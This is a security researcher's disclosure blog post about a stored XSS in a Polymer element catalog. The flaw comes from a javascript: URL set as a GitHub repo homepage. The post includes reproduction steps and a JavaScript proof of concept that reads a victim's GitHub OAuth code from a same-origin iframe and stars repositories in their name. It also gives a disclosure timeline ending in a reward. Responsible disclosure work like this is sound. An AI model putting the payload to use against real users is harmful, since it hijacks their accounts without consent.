Liking GitHub repositories on behalf of other users — Stored XSS in


Steps to reproduce:

1. Create a Polymer element and publish it to github
2. Set the repo homepage URL to: javascript:alert(document.domain)
3. Publish it via
4. Go to the element’s page and click the homepage link

What you can do with this XSS:

If the user has authenticated using Github on before, it’s possible to get the Github auth code and use it to star any public Github repo behalf of the user.

It would work like this:

  • Create an iframe with the GitHub auth URL.
    If the user is already authenticated, it redirects us to
    It will have the auth code in the url as ?code=123 (and we can access the iframe because it’s same origin).
  • Use the code to post a request to‘s API to star any GitHub repository using the user’s account

Here’s an example:

// create an iframe with github authorization url
// that redirects us back to
var iframe;
iframe = document.createElement('iframe');
iframe.src = ''; = 'none';

// just wait some time until it's loaded and redirected
setTimeout(() => {
  // get the url that contains the authorization code from the iframe
  var url = new URL(iframe.contentWindow.location.href);
  var code = url.searchParams.get("code");

  // the github repo we want to star
  var repo_to_star = 'kelseyhightower/nocode';

  // make a post request using the code
  fetch('/api/star/' + repo_to_star + '?code=' + code, {
    method: 'POST'

}, 5000);

2018-08-12Vulnerability reported
2018-08-17Added more info
2018-08-20Nice catch
2018-08-29Reward issued

Written by Thomas Orlita
Follow me on Twitter: @ThomasOrlita / Mastodon:

Leave a Reply